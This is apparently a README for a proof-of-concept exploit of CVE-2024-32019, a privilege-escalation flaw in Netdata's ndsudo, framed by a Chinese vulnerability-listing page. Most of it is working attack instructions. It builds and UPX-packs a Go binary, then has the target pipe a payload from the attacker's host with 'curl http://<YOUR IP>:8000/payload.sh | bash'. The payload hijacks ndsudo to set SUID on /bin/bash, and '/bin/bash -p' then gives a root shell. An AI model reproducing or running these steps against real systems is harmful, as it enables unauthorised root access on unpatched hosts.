CVE-2024-32019 PoC — Netdata 安全漏洞

Description

Netdata ndsudo PoC

介绍

# CVE-2024-32019-poc
Netdata ndsudo PoC

Build the binary:
```bash
go build -ldflags "-s -w" -o nvme poc.go
upx nvme
```
Run the bash script:
```
bash exploit.sh <YOUR IP>
```
In target machine run in a writable directory:
```bash
curl http://<YOUT IP>:8000/payload.sh | bash
```
It will automatically download the nvme binary, export the path, run ndsudo and add **SUID** to `/bin/bash`.
Probably you need to change the ndsudo path in `exploit.sh`

To escalate privileges just run:
```bash
/bin/bash -p
```

## Note:
The exploit is based in https://github.com/AzureADTrent/CVE-2024-32019-POC, when I tested it, I had the error:
```bash
execve: Exec format error
```
That's why I decided to create mine with Go.

文件快照

备注